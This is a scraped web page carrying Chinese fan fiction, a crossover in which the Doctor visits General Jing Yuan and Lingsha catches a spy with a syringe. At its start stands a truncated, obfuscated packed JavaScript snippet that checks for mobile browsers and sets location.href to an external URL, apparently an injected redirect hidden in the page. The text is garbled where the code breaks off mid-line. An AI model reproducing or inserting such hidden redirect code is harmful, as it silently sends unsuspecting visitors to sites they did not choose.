RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673054|172948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很长时间。景元刚与一位他并不认识的干员告别,那是位淡金色头发的天马,博士告诉他,那个天马是个医疗技术很好很可靠的重装干员,她即将面对她自己的战争。 泰拉大陆的每个人都在面对自己的战争,他们或许正在为了理想和集体的利益而战,但当一切尘埃落定,侥幸未死,每个人都必然会回头面对它。 [可能,这就是短生种的生命,当我们面对一时无法解决的人生问题,我们会暂时搁置,但也只是暂时搁置。] 27 长生种就不一样啦!所有事情都可以靠拖时间来解决所以最重要的是下一顿吃什么——当听到这种理论的时候,博士惊为天人! 总之:快让他看看今日晚餐是什么! 博士兴奋地跑进神策府,神策府门口的传令兵斥晏懵懵地站在原地,就感觉一团什么东西突然进去了,他扭着身子探着头往里看到底是什么过去了。“斥晏,看什么呢?”景元脸上带着笑,明知故问。 斥晏听到熟悉的声音,条件反射站直身体,更懵地看着罗浮将军:“将军……不对,将军在这里?那刚刚进去的,啊!”他终于反应过来了,“刚刚博士转着圈跑进去了……” 是的,能让他愣住当然是因为博士不走寻常路,但那张脸又很具有冲击力。不过在看到正牌将军后就能反应过来了,这时候又很让人感慨——这两位真的不是双生兄弟吗? 完全相同的长相,相似的气质,还有截然不同的性格。倘若景元将军真有个双生兄弟,那罗浮仙舟的臣民或许幸福指数能再增加一些——谁不想吸double景元呢? 等到目送将军进入神策府后,斥晏收回脸上傻兮兮的表情,重新换上那冷峻又公事公办的样子。他用余光扫过门前刻意留下的几处可以躲藏的地方,心中微微冷笑:见不得人的家伙也在妄想击落他们的太阳,他会让他们知道神策府的护卫为了能保护将军,都锻炼到何种程度。 28 来监视【景元】的当然不会是身居高位的家伙,那个持明也不过是一个普通的家伙,但狂热程度可不比龙师少多少。 他摩挲着怀里的东西,正苦于没有合适的机会,突然整个人腾空,然后被掀翻在地,好多只手把他扭住胳膊按在身手。红色的持明手探入他的怀中,拿出那沾染了他体温,被他时时放在手里盘算的针剂。 “真是好大的胆子……”本该在丹鼎司的灵砂仔细观察着针剂,一边漫不经心地感慨,“这里面是什么?嗯?” “当然是好东西了,哈哈。”这持明被摁在了地上都还在嘴硬。 “哼,”灵砂作势要给他用上,“既然是好东西,那就给你用吧。” 看上去疯狂的家伙却瑟缩了一下,吓唬人成功的灵砂也觉得索然无味,挥挥手让人把他带下去了。 “哎呀,真是给妾身找麻烦,”灵砂歪着头看向神策府,像是能看到里面的两位“景元”一样,“但谁让我是罗浮丹鼎司的司鼎呢?在其位就只能谋其政咯!”